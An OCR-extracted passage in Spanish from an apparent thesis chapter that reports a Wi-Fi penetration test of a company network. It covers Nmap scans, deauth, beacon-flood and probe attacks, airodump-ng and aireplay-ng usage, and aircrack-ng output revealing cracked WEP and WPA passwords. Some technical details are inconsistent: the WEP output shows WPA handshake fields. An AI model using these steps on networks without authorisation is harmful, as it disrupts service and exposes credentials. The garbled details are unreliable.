El pentesting también conocido como pruebas de penetracion es una técnica
que permite simular un ataque real para evaluar, identificar, explotar y documentar
vulnerabilidades en una red. Estas pruebas tienen como propdsito determinar el nivel
de seguridad en un entorno donde se podrian llevar a cabo sucesos maliciosos, el
pentesting no es solo descubrir vulnerabilidades, sino también entender el impacto que
estas podrian tener en la red, esta técnica es esencial para medir la resiliencia del
entorno y determinar hasta qué punto podrian llevarse a cabo distintas actividades que
afectan a la red, como la exfiltracién de datos, interrupciones de servicios, o el acceso
no autorizado a sistemas criticos. Al identificar estas brechas, las organizaciones
pueden implementar soluciones que fortalezcan su seguridad, disminuyendo asi la
probabilidad de que un incidente real tenga consecuencias significativas. EI método
utilizado es el de pruebas de penetracion que hace referencia al estandar NIST SP 800-
115, el cual consta de 4 fases como se muestra en la figura 33.

Planificacion Descubrimiento

Figura 33: Método NIST SP 800-115

Fuente: Elaborado por autor
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Fase: Planificacion

Haciendo énfasis en dos areas cruciales: identificar vulnerabilidades y evaluar
la resistencia de la red a posibles ataques, esta primera fase establece el marco para la
prueba de penetracion. Esto se consigue eligiendo cuidadosamente qué redes y sistemas
se evaluaran y asegurandose de que se incluye una imagen completa de la arquitectura
de la red, una etapa esencial de este proceso es la clasificacion de las herramientas de
prueba adecuadas, lo que permite utilizar las mejores herramientas para cada estudio y
situacion posibles y maximizando la identificacion de vulnerabilidades al garantizar
que las pruebas se llevan a cabo con precision y eficacia.

Una vez determinados los sistemas que debian evaluarse, se eligieron los
instrumentos que proporcionarian los datos mas precisos y completos. Entre estas, se
encuentra el sistema operativo de Kali Linux, el cual ofrece un entorno robusto para el
analisis de diversas técnicas de penetracion, el dispositivo Aursinc WiFi Deauther V4,
el cual permite realizar los ataques y andlisis en la red y Nmap, que se destaca en la
identificacion de host activos y la exploracion de puertos, de tal manera que facilita la
deteccidn de posibles vulnerables, cada una de estas herramientas fue elegida por su
capacidad para abordar diferentes aspectos de la seguridad de las redes inalambricas
que permiten un analisis exhaustivo y versatil de la red en cuestion.

Fase: Descubrimiento

Esta fase es primordial ante este analisis de modo que, en esta seccidn se lleva

a cabo la recopilacion de la informacién de la red, garantizando de esta manera un

ataque exitoso, esta fase consta de dos tipos de recoleccion de informacion, esta fase

tiene como objetivo obtener una visién completa del entorno de la red, identificando

puntos vulnerables sin alterar a los sistemas de defensa, para cumplir con esto se
utilizaron dos enfoques de recoleccion de informacién que son:

1. Larecoleccion de informacion de las redes Wi-Fi abiertas, infraestructura

de la red que proporcionan las puertas de enlaces para un analisis, sin poner

en riesgo la seguridad y sin dejar rastros.
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2. Recoleccion activa de informacién, en la que se hace uso de herramientas
que permiten un analisis profundo, hoy en dia existen herramientas como
Nmap que ofrece descubrir los hosts que se encuentran activos, servicios
que estan en funcionamiento y los puertos abiertos, logrando avanzar y
obtener datos que hacen vulnerable a la red.
Fase: Ataque
Esta etapa se la considera como el nucleo del proceso de las pruebas de
penetracion, en la que se ejecutan los ataques simulados en el cual se compromete la
seguridad del sistema, los ataques se basan en la informacion recopilada durante la fase
de descubrimiento, de tal modo que ya estan disefiadas para explotar vulnerabilidades
y evaluar la resiliencia de la red, en esta fase nuestra propuesta técnica es realizar 3

ataques que son:

e Deauth
e Beacon
e Probe

Durante toda esta fase, se supervisaron los atagues de manera rigurosa para
evaluar tanto su efectividad como la capacidad de la red para detectar y mitigar los
intentos de intrusion. Esto proporciond una evaluacion completa de la seguridad de la
infraestructura y sus puntos débiles.

Fase: Informe

En esta fase se realiza un informe, en este caso se escriben los resultados
obtenidos durante la prueba de penetracion, en donde se redactara de manera clara y
detallada, para que de esta manera se tomen acciones en empresas empresariales. Esta
fase consta de resultados de los ataques en donde se describe las vulnerabilidades
explotadas y los métodos utilizados. Ademas, se realiza un listado detallado de las
debilidades detectadas que incluyen explicaciones técnicas, a su vez, se presentan
propuestas de soluciones para corregir estas vulnerabilidades.

3.6.2.Seleccion y aplicacion de técnicas para el analisis de vulnerabilidades
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Mediante esta seleccion se aplica la fase 1 de la metodologia NIST SP 800-115,
es por ello que se ha elegido la herramienta NMAP de Kali Linux, ya que es de codigo
abierto ampliamente reconocida en el &mbito de administracion de redes, a su vez es
esencial para la exploracion de redes ya que permite la deteccion de dispositivos que
se encuentran conectados, identificacion de puertos abiertos y de igual manera la
informacion detallada de los servicios que se encuentran actualmente ejecutdndose.
Esta herramienta posee flexibilidad y capacidad que permite adaptarse a entornos de
redes ya sean pequefias o grandes, la cual se eligio ya que es una pieza clave en la
identificacion y mitigacion de vulnerabilidades, el proposito de esto es descubrir los
hosts activos, escaneo de puertos, deteccion de versiones de servicios, deteccion de
sistemas operativos y auditoria de seguridad.

Mediante el escaneo de la red se puede identificar todos los dispositivos que se
encuentran conectados a la red, permitiendo de esta manera mapear la topologia de la
red empresarial, de tal forma que ayudara en obtener una visién clara de los sistemas

que interactGan en la red, como se muestra en la figura 34.

= 192.168.100.0/24

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-24 17:33 -05
Nmap scan report for 192.168.100.1

Host is up (0.0023s latency).

MAC Address: 64:13:AB:6E:4D:6C (Huawel Technologies)

Nmap scan report for 192.168.100.4

Host is up (0.087s latency).

MAC Address: EC:10:7B:B2:71:8B (Samsung Electronics)

Nmap scan report for 192.168.100.30

Host is up (0.098s latency).

MAC Address: 60:A4:D@:E7:8E:66 (Samsung Electronics)

Nmap scan report for 192.168.100.53

Host is up (@.10s latency).

MAC Address: 88:BD:45:FB:34:12 (Samsung Electronics)

Nmap scan report for 192.168.100.60

Host is up (@.063s latency).

MAC Address: 56:C8:78:FD:6A:EB (Unknown)

Nmap scan report for 192.168.100.27

Host is up.

Nmap done: 256 IP addresses (6 hosts up) scanned in 5.96 seconds

Figura 34: Escaneo de dispositivos

Fuente: Elaborado por autor
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El escaneo de puertos es fundamental ya que por medio de esto se lleva a cabo
un analisis de los puertos en cada dispositivo conectado a la red, de tal manera que
permitira determinar que puertos se encuentran abiertos y qué servicios se encuentran
asociados a ellos, facilitando de esta manera los posibles puntos vulnerables en la red.

La identificacion de sistemas operativos o fingerprinting es una sofisticada
técnica de escaneado, dicha técnica permite determinar con exactitud qué sistema
operativo esta instalado en cualquier dispositivo conectado a la red en un momento
dado y Nmap puede identificar con bastante precision algunos patrones distintivos en
las implementaciones TCP/IP de varios sistemas operativos basdndose en el examen
de las respuestas a los paquetes transmitidos.

El sistema operativo permite un analisis mas exhaustivo, dado que se utiliza
para identificar vulnerabilidades particulares en un sistema especifico. Asi, al permitir
que los administradores establezcan medidas de seguridad especificas para tratar estas
vulnerabilidades, ayuda a priorizar la necesidad de actualizaciones. Ademas, al
resguardar dispositivos criticos o vulnerables al trafico indebido, se puede reducir la
dependencia de la segmentacion de la red.

Al mezclar el escaneo de puertos y fingerprinting, nos permite un analisis sobre
la red de la empresa, la cual no solo generara un mapeo detallado de los dispositivos y
Servicios que se encuentran activos, sino también permitira obtener informacion valiosa
para la mejora de la seguridad, identificacién de configuraciones incorrectas, y de
posibles fallas en la red antes de que puedan ser explotadas, por otro lado, se detecta
que el sistema operativo de un dispositivo es una version antigua de Linux o Windows,
el supervisor podra verse en la obligacion de actualizarlo, evitando asi que sea un
blanco facil para el atacante.

En esta etapa de puertos y servicios, se detalla el examen de los puntos de
entrada y vulnerabilidades presentes en la red inalambrica de la empresa. El
reconocimiento de la red es una de las mas importantes porque se identifica la
verdadera superficie de ataque y, a partir de ahi, se puede evaluar qué servicios estan
operativos y listos para ser blanco de amenazas. En cuanto al analisis de puertos se

utiliza herramientas como Nmap ya que es una solucion que permite detectar puertos
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abiertos y dentro de los puertos se puede identificar los servicios que estan levantados
por los dispositivos. La figura 35 ilustra el escaneo realizado en el que se identificaron
datos importantes y precisos sobre el tipo de servicio, la version del software y el estado
de los puertos, informacion que se considera vital para identificar servicios
desactualizados o mal configurados, agregando que también se realiza un analisis de
trafico de red para detectar patrones de comunicacion entre los dispositivos, lo que

permite identificarla existencia de servicios maliciosos.

Host is up (0.013s latency).

Scanned at 2024-07-06 17:33:35 EDT for 221s

Not shown: 8359 filtered tcp ports (no-response)

Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE

135/tcp  open msrpc

445/tcp  open microsoft-ds

1947/tcp open sentinelsrm
5040/tcp open unknown
5354/tcp open mdnsresponder
5357/tcp open wsdapi
7680/tcp open pando-pub
8090/tcp open opsmessaging
27015/tcp open unknown

Figura 35: Escaneo de Puertos y Servicios

Fuente: Elaborado por autor

3.6.3.Ataques de pentesting en la red

Deauth

En esta seccion, se lleva a cabo un ataque de deautenticacion utilizando el
dispositivo Aursinc WiFi Deauther. Este ataque tiene como objetivo desconectar de
manera forzada a los dispositivos conectados a la red inalambrica, simulando un
escenario de interrupcion de servicio. En la figura 36 se muestra el procedimiento de
ataque de desautenticacion, que genera solicitudes de desconexion para los dispositivos
“victima”, este tipo de prueba ayuda a examinar cOmo reacciona la red ante intentos
malintencionados de desconexion e identificar posibles puntos débiles en las

configuraciones de cifrado y autenticacion de los puntos de acceso, estos resultados se
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utilizan como el cimiento para evaluar el funcionamiento de los mecanismos de

seguridad instalados y su aptitud para mitigar ataques tipicos a redes inaldmbricas.

—

Figura 36: Ataque Deauth

Fuente: Elaborado por autor

Consiste en desautenticar redes wifi, tiene como propoésito interrumpir la
conexidn entre los terminales que se localizan conectados a la red, en otras palabras, a
los clientes y a los puntos de acceso, sin tener la necesidad de autenticar la red y mucho
menos conocer la contrasefia de esta.

Este ataque se centra en la denegacion de servicio (DoS), mediante la cual se
envian paquetes de deautenticacion falsificados ya sea al cliente o al AP, con la
finalidad de desconectarlos de la red temporalmente, haciendo de esta manera
vulnerable al protocolo IEEE 802.11.

En primer lugar, se realiz6 un escaneo de las redes que se encuentran cerca,
luego se selecciona la red a la que se desea atacar como se muestra en la figura 37. La
SSID (Service Set Identifier), a la que se va a atacar a los puntos de acceso “D-
Administracion”, “RED_USR”, “RED _USR2”, de tal manera que una vez
seleccionada, el dispositivo empieza a enviar paquetes de desautenticacion falsificados
tanto al cliente como al punto de acceso al que se esté interviniendo, obligando de esta

manera ya sea al cliente o al router desconectar la sesion.
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Figura 37: Seleccion de la red victima

Fuente: Elaborado por autor

Los dispositivos afectados por paquetes de desautenticacion engafiosos creen
que el punto de acceso (AP) o el propio usuario han solicitado la desconexién, por
tanto, el usuario es retirado temporalmente de la red, este procedimiento se repite
incesantemente, cortando la comunicacion entre los dos equipos por lo que es
importante sefialar que mientras dure el ataque el usuario intentard restablecer la
conexidn, pero sélo recibira los paquetes que se lo impidan. Este ataque se lleva a cabo
para evidenciar la falta de autenticacion en el protocolo utilizado para el envio de
paquetes de control en el estdndar 802.11.

Al ejecutar el ataque de deautenticacion, el dispositivo especializado nos
muestra datos esenciales, en donde el total de APs que se encuentran en el entorno con
un total de 13 puntos de accesos, el cual nos indica la existencia de multiples redes
inalambricas operativas, cabe recalcar que cada AP puede gestionar varias estaciones
conectadas es por ello que este ataque se centra en los clientes que se encuentran

vinculados al mismo.



108

En la figura 38, se muestra un total de 17 STAs, este nimero hace referencia a
las estaciones detectadas, que corresponden a los dispositivos como laptops, celulares,
tablets o cAmaras de seguridad que se encuentran conectados al punto de acceso. Es
fundamental identificar estas estaciones para poder tener éxito en el ataque y asi poder

tener el objetivo claro.

Figua 38: Datos del ataque Deauth
Fuente: Elaborado por autor

El valor mostrado en la seccidn de Pkts que muestra la figura 38, indica la tasa
de captura de paquetes, con un total de 772 paquetes por segundo, por lo tanto, la
velocidad de captura elevada indica que, la red esta activa y a su vez que existe una
cantidad significativa de tréafico, el cual se enfocan en la interceptacion de los paquetes
que gestionan las conexiones entre los dispositivos y el AP “RED_USR”. Se considera
que, en cuanto mayor sea la tasa de captura, mayor eficacia tiene el ataque, llevando de
esta forma a interceptar mas paquetes de autenticacion para poder manipular.

Beacon flood

Este ataque se centra en enviar tramas la cual provoca un exceso de trafico en
los canales de 2.4 GHz, creando distintos puntos de acceso falsos, haciendo que el Wi-
Fi sea mas lento. Este ataque aprovecha el funcionamiento natural del protocolo 802.11
en el que los APs legitimos envian tramas beacon de forma periddica anunciando de
esta manera su presencia a los dispositivos cercanos, estos paquetes incluyen

informacién de la red como el nombre de la red (SSID), las capacidades que posee los
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puntos de acceso, es decir, el canal en el que esta funcionando la red, de igual manera
la encriptacion que se esta usando, entre otros parametros que permiten al usuario ver
y conectarse a la red. Las tramas que se envian son falsificadas, es decir no existen
fisicamente, pero aparecen disponibles para que los dispositivos cercanos se conecten,
al generar una gran cantidad de puntos de accesos falsos se satura el espectro ya que
los dispositivos compiten por el acceso inalambrico, de esta manera se crea un entorno
en el que los dispositivos tienen dificultades para identificar las redes reales. Es
importante mencionar que muchos dispositivos ya sean teléfonos o laptops desarrollan
un desempefio reducido ya que poseen capacidades de hardware limitadas,
volviéndoles de esta manera inestables o lentos al intentar procesar una lista
extremadamente larga de las redes que se encuentran disponibles, otra de las
situaciones que se pueden generar en ese momento es que las redes legitimas pueden
quedar ocultas, dificultando la conectividad.

En la figura 39 se muestra las configuraciones de los puntos de accesos falsos
imitando de esta manera las redes legitimas, haciendo el uso de SSID clonados,
generando de esta manera confusion en los usuarios, obligando asi que se conecten

accidentalmente a las redes falsas el cual permite llevar a cabo el ataque.

SSID Ch

RED_USR

D-Administracion

RED_USR?

Figura 39: Seleccion de AP para clonacion

Fuente: Elaborado por autor.
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La Figura 40 ilustra un intento de inundacion de balizas (Beacon Flooding)
contra las redes conocidas como «D-Administracion», «<RED_USR» y «<RED_USR2».,
este ataque crea varias tramas de balizas que simulan puntos de acceso que utilizan el
mismo SSID que las redes reales, lo que provoca que varias versiones de estas redes
aparezcan en la lista de redes visibles para los dispositivos cercanos. Esta técnica
pretende crear confusién entre los usuarios, dificultando el reconocimiento de la red

real y estableciendo un obstaculo a la conexion.

[BACK]
DEAUTH
*BEACON
PROBE
\STOP

Figura 40: Ataque “Beacon Flooding”
Fuente: Elaborado por autor

Al realizar este ataque en particular, se tiene como proposito hacer una
evaluacion de la capacidad de autenticacion y la robustez de dispositivos en el tiempo
de cualquier intento de suplantacion de SSID, consintiendo observar como se
comportan los dispositivos y los usuarios cuando hay muchas copias de la misma red,
como se muestra en la figura 41, de tal manera que estos son elementos significativos
al evaluar la seguridad en entornos Wi-Fi, de tal forma que proporciona informacion
sobre la efectividad de las caracteristicas de seguridad implementadas en redes 802.11
para reducir la ocurrencia de ataques de suplantacion y garantizar la conexién a la red
legitima.
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D-Administracion

RED_USR

RED_USR

RED_USR

D-Administracion

T T YT IV N

D-Administracion

Figura 41: Clonacion de APs
Fuente: Elaborado por autor.

Probe Request

Antes de llevar a cabo este ataque, es necesario realizar un reconocimiento
profundo de la red para identificar los dispositivos, de tal manera que se hace uso de
airodump-ng para capturar los probe requests que cada dispositivo esta emitiendo.

Este ataque consiste en la desestabilizacion de una red inalambrica en el envio
masivo de solicitudes de sondeo a diversas redes Wi-Fi, este ataque identifica redes
disponibles, incluyendo redes ocultas, a su vez congestiona el espectro de

radiofrecuencia, realiza 3 funciones como se muestra en la figura 42.
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ENVIO DE SE ENVIAN A TRAVES DEL AIRE
— > SOLICITUDESDE ——» USANDO LA INTERFAZ INALAMBRICA
SONDEO DEL DISPOSITIVO ATACANTE
RECEPCION DE :
CONTIENEN INFORMACION SOBRE LA
IO > RESPUESTAS DE 4 RED. (SSSID, DIRECCION MAC DEL AP)
SONDEO ~ )
IDENTIFICACION
SE REALIZA EL MAPEO Y SE REGISTRAN
g MQEPDEEOS DE ‘ LAS REDES DISPONIBLES

Figura 42: Funciones del Probe
Fuente: Elaborado por autor

El aursinc wifi deauther envia un sin nimero de solicitudes de sonda falsa, de
tal manera que los APs se encuentran abrumados al tener que procesar y responder a
cada solicitud, provocando de esta manera el bajo rendimiento de la red de igual manera
los puntos de acceso empiezan a experimentar fallas temporales ya que causan
congestion y degradacion en la calidad de servicio. Ademas, al lanzar este ataque
permite identificar redes que se encuentran ocultas, revelando la existencia de estas
redes que no se muestran de forma publica.

Es importante hacer esta captura mediante wireshark, ya que asi se puede
obtener un panorama detallado, en la figura 43 se muestra el filtro de los paquetes probe
request.

Luego de la etapa del reconocimiento, se ejecuta el ataque Probe de tal forma
que este ataque respondera los probe de los dispositivos con redes falsas que simulan
ser conocidas, para esto se debe tener en cuenta 3 parametros clave como son:

e Responder todas las solicitudes Probe.
e Elegir los canales en los que se emitiran las respuestas.

e Definir los falsos SSIDs.
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5 e Source Destination Protocol Length Info

11210 420.432955720 SamsungElect_e7:8 Broadcast 802.11 141 Probe Request, FN=0, Flag..
8771 274.602419385 SamsungElect_e7:8 Broadcast 802.11 150 Probe Request, FN=0, Flag..
8772 274.603464557 SamsungElect_e7:8e:.. Broadcast 802.11 141 Probe Request, FN=0, Flag..
8773 274.664031472 SamsungElect_e7:8 Broadcast 802.11 149 Probe Request, FN=0, Flag..
8774 274.665161910 SamsungElect_e7:8 Broadcast 802.11 152 Probe Request, FN=0, Flag..
8775 274.666278775 SamsungElect_e7:8e:.. Broadcast 802.11 150 Probe Request, FN=0, Flag..
8776 274.668150919 SamsungElect_e Broadcast 802.11 149 Probe Request, FN=0, Flag..
13330 516.530368628 SamsungElect_e7: Broadcast 802.11 149 Probe Request, FN=0, Flags..
8781 274.691453881 SamsungElect_e7:8e:.. Broadcast 802.11 150 Probe Request, FN=0, Flag..
8782 274.692578096 SamsungElect_e7: Broadcast 802.11 150 Probe Request, FN=0, Flag..
8783 274.693687734 SamsungElect_e7: Broadcast 802.11 150 Probe Request, FN=0, Flag..
8784 274.694801923 SamsungElect_e7: Broadcast 802.11 150 Probe Request, FN=0, Flag..
8785 274.695848338 SamsungElect_e7:8e:.. Broadcast 802.11 141 Probe Request, FN=0, Flag..
8786 274.696959507 SamsungElect_e7: Broadcast 802.11 149 Probe Request, FN=0, Flag..

510 14.391408612 SamsungElect e Broadcast 802.11 150 Probe Request, FN=0, Flag..
8787 274.698089712 SamsungElect_e7:8e:.. Broadcast 802.11 152 Probe Request, FN=0, Flag..
8788 274.699208164 SamsungElect_e7: Broadcast 802.11 150 Probe Request, FN=0, Flag..
8789 274.700316997 SamsungElect_e7: Broadcast 802.11 149 Probe Request, FN=0, Flag..
8790 274.701434327 SamsungElect_e7:8e:.. Broadcast 802.11 150 Probe Request, FN=0, Flag..
13331 516.531493842 SamsungElect_e7: Broadcast 802.11 152 Probe Request, 63, FN=0, Flags..
8791 274.702551896 SamsungElect_e7: Broadcast 802.11 150 Probe Request, Flag..
4237 134.155221390 SamsungElect_e7:8e:.. Broadcast 802.11 149 Probe Request, Flag..
8792 274.703668918 SamsungElect_e Broadcast 802.11 150 Probe Request, Flag..
8793 274.704787373 SamsungElect_e7: Broadcast 802.11 150 Probe Request, Flag..
8794 274.705830300 SamsungElect_e7:8e:.. Broadcast 802.11 141 Probe Request, T
8799 274.718861204 SamsungElect_e Broadcast 802.11 149 Probe Request, Flag..
8800 274.719982111 SamsungElect_e7: Broadcast 802.11 152 Probe Request, Flag..
11216 422.513767336 SamsungElect_e7:8e:.. Broadcast 802.11 163 Probe Request, Flag..
8801 274.721098592 SamsungElect_e7: Broadcast 802.11 150 Probe Request, SN=1636, Flag..
8802 274.722206432 SamsungElect_e7:8 Broadcast 802.11 149 Probe Request, SN=1637, Flag..

NLVLLLLVNLVLLDBLVLLLNVYVY®LBN K
1 T

(%)

Figura 43: Captura de presencia de wireshark

Fuente: Elaborado por autor
En la figura 44, se muestra el monitoreo en donde se puede observar cémo los
dispositivos reaccionan antes las respuestas falsas, de igual manera se verifica la

presencia del ataque.

Figura 44: Ataque Probe ReqUest
Fuente: Elaborado por autor
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3.6.4.Proceso de descifrado de contrasefias en protocolos inalambricos WEP
WPA Y WPA2 mediante pruebas de pentesting.

Para detectar y explotar las vulnerabilidades la red empresarial en los
protocolos WEP, WPA y WPAZ2, se hizo uso de Kali Linux y el dispositivo Aursinc
Wifi Deauther teniendo como objetivo evaluar las debilidades de este protocolo y
demostrar mediante un ataque con las herramientas adecuadas podria comprometer la
seguridad de la red.

El proceso comienza con la identificacion de las areas especificas de la red
inalambrica, de tal manera que al ejecutar el ataque de Probe request, se realiz6 la
captura de paquetes de solicitud de sondeo, este proceso consiste en esperar que un
cliente autorizado se conecte a la red y a su vez ayuda a forzar la reconexién de un
cliente autorizado mediante el ataque de deautenticacion realizado anteriormente. En
esta fase se examinan detalladamente los distintos protocolos de seguridad
implementados, como WEP, WPA y WPAZ2, con la finalidad de evaluar su eficacia y
resistencia ante posibles ataques, es por ello que, se configura el adaptador de red en

modo monitor utilizando la interfaz de Kali Linux, como se muestra en la figura 45.

lo no wireless extensions.

ethd no wireless extensions.

wlan@mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=15 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off

Figura 45: Modo monitor
Fuente: Elaborado por autor

El modo monitor es clave para este tipo de andlisis, ya Ayuda con la captura
completa de la red permitiendo un mejor analisis de todos los paquetes obtenidos que
se estuvieron transmitiendo por las redes inalambricas cercanas sin tener la necesidad
de conectarse directamente a ellas, de tal forma que esto abarca tanto el trafico de datos

como las sefiales de control, ofreciendo de esta manera una visién completa de la
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actividad de la red, cabe recalcar que esta configuracion en modo monitor se lleva a
cabo de manera estratégica para evitar interferencias externas como el blogueo del
trafico durante la captura de datos.

De esta manera el anélisis se realiza en un entorno controlado y sin alteraciones,
garantizando la validez de los resultados obtenidos. Luego de haber habilitado la tarjeta
de red en el modo monitor, se procede a hacer uso de la herramienta airodump-ng, esta
es una herramienta perteneciente al conjunto de utilidades de la distribucion de Kali
Linux, que permite llevar a cabo un escaneo detallado de las redes Wi-Fi, recopilando
informacion clave sobre cada red detectada, como se muestra en la figura 46. Mediante
este procedimiento, se logra apreciar caracteristicas especiales de las redes
inalambricas tales como la potencia de la sefial, el tipo de cifrado que contiene, la

direccion MAC del AP y el canal en el que se encuentra.

File Actions Edit View Help

Figura 46: Escaneo e identificacion de redes

Fuente: Elaborado por autor
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Cuando el escaneo haya terminado, el andlisis de seguridad se centra
especialmente en las redes que utilizan los protocolos de cifrado WEP, WPA y WPA2,
ya que son el centro de la exploracion, por lo que la siguiente fase consiste en elegir
meticulosamente el BSSID (direcciéon MAC del punto de acceso) y el canal en el que
opera la red; esta eleccion es crucial porque permite capturar el trafico centrado en la
red elegida, lo que simplifica la obtencion de paquetes cruciales para su posterior
analisis y ademas, esta informacion es esencial para llevar a cabo ataques de inyeccion
de paquetes y para adquirir claves WEP, WPA y WPA2, lo que permite realizar una
evaluacion detallada de las vulnerabilidades que existen en este protocolo.

Cuando la red a la que se le desea atacar, se realiza el encapsulamiento de los
paquetes, se verifica que dicho paquete posea vectores de inicializacion, estos son
aquellos que conforman ya sea la reconstruccion y cifrado, de tal manera que operan
en distintos protocolos, es por ello que se generan diferentes vectores de inicializacion,
gracias a como acttan en los diferentes protocolos donde al transmitir un paquete se
crean Vs, este argumento hace que los IVs se vayan acumulando en el tiempo, por
ende la importancia de esto es que al alcanzar una cierta cantidad, es posible determinar
las claves mediante la criptografia de andlisis.

Una caracteristica que resalta en este aspecto es que, durante la captura, la red
sigue funcionando con normalidad y los usuarios no notan ninguna interrupcion del
servicio, lo que dificulta la deteccion del ataque, los comandos como, Sudo airodump-
ng wlanOmon -essid (nombre de la red) -w (nombre del paquete) -c se utiliza para
comprobar la seguridad de la red Wi-Fi, con el objetivo de obstaculizar paquetes de un
punto de acceso determinado.

En este caso, indica que se enfocara en los puntos de acceso con los SSID (D-
Administracion, RED_USR, RED_USR2), lo que permite filtrar y capturar solo la
informacion de esas redes en particular. La opcion -w define el nombre del archivo en
el que se guardaran los paquetes capturados, mientras que -c especifica el canal en el
cual esta operando la red objetivo, mejorando la precision de la captura al reducir

interferencias con otras redes.
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Al hacer uso de ejecutar comandos en base al modo privilegiado, es sustancial
porque se mantiene comunicacion directa con la tarjeta de red en modo monitor, es
decir que no todos los comandos son usados bajo privilegios, pero para capturar los
handshakes se necesita que sea por medio de la tarjeta de red, el cual contiene
informacion necesaria que ayuda en la obtencién de la clave, dado que esto ayuda en
la evaluacion de las vulnerabilidades.

La Figura 47, se presenta la identificacion de una de las redes a analizar, de tal
manera que es necesario conocer los parametros como el BSSID, la frecuencia en la
que trabaja esta red, la banda en la que opera de tal modo que estos son datos

fundamentales que se utilizaran para el siguiente paso.

sdrana@ialc -

File Actions Edit View Help

Fuente: Elaborado por autor
En la figura 48, se muestra los handshakes capturados, referente a los 3 APs
que constan de los distintos tipos de protocolos.
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adriana@kali: ~

File Actions Edit View Help

t.netxml
SV

Figura 48: Capturas de handshakes.
Fuente: Elaborado por autor

En tercer lugar se aplica el ataque de inyeccion, que se ejecuta con el aursinc
Wi-Fi deauther y aireplay, por lo tanto, el Aursinc Wifi Deauther es un dispositivo
eficiente dentro de la rama de seguridad, ya que no solo permite que los clientes pierdan
la conexion, sino que también modifica el trafico, lo que ayuda a amplificar la
transferencia de datos en la red al combinar deautenticaciones y ajustes de tréfico, de
tal modo que la intrusion se intensifica a medida que acelera la captura de entornos de
iniciativa (IV), dado que esto sucede porque los clientes se desconectan y reconectan
continuamente a la red, lo que hace que el AP produzca paquetes adicionales,
aumentando asi el trafico interno, lo que crea mas posibilidades de arrebatar los
vectores iniciales, acortando asi el tiempo esencial para acumular las cantidades

necesarias para cifrar la informacién particular.
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Aireplay-ng es una herramienta que realiza una Autenticacion falsa, el cual
permitio que el punto de acceso aceptara el adaptador como un cliente autorizado, como
se muestra en la figura 49. La reinyeccidn de paguetes ARP se llevé a cabo haciendo
uso de estas 2 herramientas la cual genero tréfico artificial obteniendo de esta manera

una captura rapida con suficientes IVs.

/home/adriana

( @ -a 74:4D:28:5E:B9:50 -C 94:EQ:D6:F7:58:30 wlanOmon

Waiting for beacon frame (BSSID: 74:4D:28:5E:B9:50) on channel 1
Sending 64 directed DeAuth (code 7). STMAC: *E0:D6:F7:58:30]
Sending 64 directed DeAuth (code 7). STMAC: ‘E0:D6:F7:58:30]
Sending 64 directed DeAuth (code 7). STMAC: ‘E0:D6:F7:58:30]
Sending 64 directed DeAuth (code 7). STMAC: [94:E0:D6:F7:58:30]
Sending 64 directed DeAuth (code 7). STMAC: ‘E0:D6:F7:58:30]
Sending 64 directed DeAuth (code 7). STMAC: ‘E0:D6:F7:58:30]
Sending 64 directed DeAuth (code 7). STMAC: ‘E0:D6:F7:58:30]
Sending 64 directed DeAuth (code 7). STMAC: E0Q:D6:F7:58:30]
Sending 64 directed DeAuth (code 7). STMAC: ‘E0:D6:F7:58:30]
Sending 64 directed DeAuth (code 7). STMAC: *E0:D6:F7:58:30]
Sending 64 directed DeAuth (code 7). STMAC: EQ:D6:F7:58:30]
Sending 64 directed DeAuth (code 7). STMAC: E0:D6:F7:58:30]
Sending 64 directed DeAuth (code 7). STMAC: ‘E0:D6:F7:58:30]

Figura 49: Ataque Deauth con aireplay-ng
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Fuente: Elaborado por autor

Descifrado de password en protocolo WEP

El primer paso fue la recopilacién de trafico asociado al punto de acceso D-
Administracion, utilizando herramientas como Airodump-ng, se capturaron paquetes
de datos transmitidos entre los dispositivos conectados al AP y el punto de acceso
mismo. Dado que el cifrado WEP se basa en un esquema de autenticacion que utiliza
vectores de inicializacion débiles, fue posible capturar suficiente informacién para
proceder al ataque, por ende, para acelerar el proceso de captura, se realizd un ataque
de reinyeccion de paquetes, utilizando herramientas complementarias como aireplay-
ng. Este ataque permitié generar un flujo continuo de paquetes que, al ser interceptados
y descifrados, facilitaron la acumulacién de suficientes IVs para ejecutar el ataque de
crackeo.

Una vez recolectados los paquetes necesarios (en este caso, mas de 25,000

claves probadas), se utilizé Aircrack-ng para analizar los vectores de inicializacion y
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descifrar la clave WEP. En la salida de la herramienta se identifico la clave correcta:
22113, validando el éxito del ataque en apenas 13 segundos, con una velocidad de
1891.72 claves por segundo, obteniendo de esta manera la contrasefia que proporciona
el AP1, del protocolo WEP, en la figura 50 se presenta el password que consta de 64
bits en donde se capturaron alrededor de 20,000 IVs.

adriana@kali: ~

File Actions Edit View Help

Aircrack-ng 1.7
[00:00:13] 25506/14344395 keys tested (1891.
Time left: 2 hours, 6 minutes, 9 seconds

KEY FOUND! [22113]

Master Key 73 1C D2 68 06 11 27 51 C7
AE B5 A3 88 22 30 C5 21 56 A9 A3
Transient Key : EC BE 73 0C 07 E2 D9 2C 8D
DC 3B 8B 76 BD 83 3C EB 61 24 E1 D4
60 60 69 A2 79 CA 99 D8 EF 18 C4
DD A3 CD E2 02 16 74 39 2A B6 92 E9

EAPOL HMAC : 31 F7 01 CO 29 C7 OC FA F9 01 E2 FF
Figura 50: Uso de Aircrack-ng en WEP

Fuente: Elaborado por autor

Descifrado de password en protocolo WPA

El handshake, previamente capturado y aplicando con la herramienta de
Airodump-ng, genero la informacién preliminar privada para el proceso de cracking de
la clave, en la cual esta captura contenia los vectores de inicializacion que a su vez, han
sido procesados por Aircrack-ng y fueron sistematicamente criptoanalizados mediante
técnicas avanzadas que someti6 a una serie de combinaciones de claves potenciales y
obtuvo la contrasefia de la red 0901282095 después de mas de 10 millones de
combinaciones a 364.22 claves por segundo.

La Figura 51 muestra el resultado del proceso que se realizo con Aircrack-ng,

enfatizando los componentes técnicos de la clave, como la Clave Maestra, la Clave
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Transitoria y el HMAC EAPOL, que se generaron al obtener la contrasefia, de modo
que el ataque fue exitoso, dando como resultado que el cifrado WEP es débil.

El resultado final logrado con Aircrack-ng se muestra en la Figura 51, en el que
se recalca los mecanismos técnicos de la clave como la Clave Maestra, la Clave
Transitoria y el HMAC EAPOL, por tal motivo que fueron creados en el proceso de
autenticacion, este ataque demuestra la debilidad de las redes seguras con WPA debido
a la falta de politicas de complejidad para las contrasefias, la facilidad con la que se
